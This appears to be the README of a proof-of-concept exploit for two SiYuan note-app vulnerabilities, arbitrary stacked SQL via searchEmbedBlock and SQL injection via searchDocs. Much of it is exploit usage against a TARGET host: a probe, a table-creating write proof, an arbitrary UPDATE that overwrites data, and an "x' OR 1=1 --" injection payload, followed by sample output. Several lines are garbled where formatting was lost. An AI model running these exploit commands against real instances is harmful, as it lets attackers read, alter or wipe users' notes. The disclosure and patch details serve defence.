
CVE-2026-69084/69085 — SiYuan arbitrary SQL execution via searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verified on v3.7.2, rejected on v3.7.3.
CVE-2026-69084: Arbitrary SQL Execution via /api/search/searchEmbedBlock
CVE-2026-69085: SQL Injection via /api/filetree/searchDocs
CVSS 9.9 (Critical) each · CWE-89 · SiYuan <= v3.7.2 (fixed in v3.7.3)
Published 2026-08-03 · no public PoC at publication time
SiYuan (open-source note-taking app, github.com/siyuan-note/siyuan) exposes
two API endpoints that hand attacker-controlled SQL to its SQLite database:
CVE-2026-69084 — /api/search/searchEmbedBlock:
The stmt parameter is passed verbatim to the main read-write
handle with no single-statement or read-only restriction. The
SQLite driver executes stacked (semicolon-separated) statements, so an
attacker can / / / / anything in
the database. Gated only by — reachable with a publish
RoleReader token, or anonymously when publish mode has
.
siyuan.dbCREATEINSERTUPDATEDELETEDROPCheckAuthPublish.Auth.Enable=falseCVE-2026-69085 — /api/filetree/searchDocs:
The keyword parameter is concatenated directly into SQL with no escaping
or parameter binding.
Both were fixed in v3.7.3 via sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox().
# 1. Non-destructive probe (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. DB-write proof: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. Run arbitrary SQL (stacked statements supported)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
If the instance runs with publish mode enabled and auth disabled
(Publish.Auth.Enable=false), no --auth is needed at all.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepted (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepted (blocks: 0)
[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db
# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
Patched v3.7.3 rejects the same requests:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT still works (legit functionality preserved)The Python PoC performs a session login (/api/system/loginAuth) to obtain
the auth cookie, then POSTs to the vulnerable endpoint. Tested against
b3log/siyuan:v3.7.2 (vulnerable) and b3log/siyuan:v3.7.3 (patched).
Publish.Auth.Enable=true and
use strong RoleReader tokens.For authorized security testing and educational purposes only.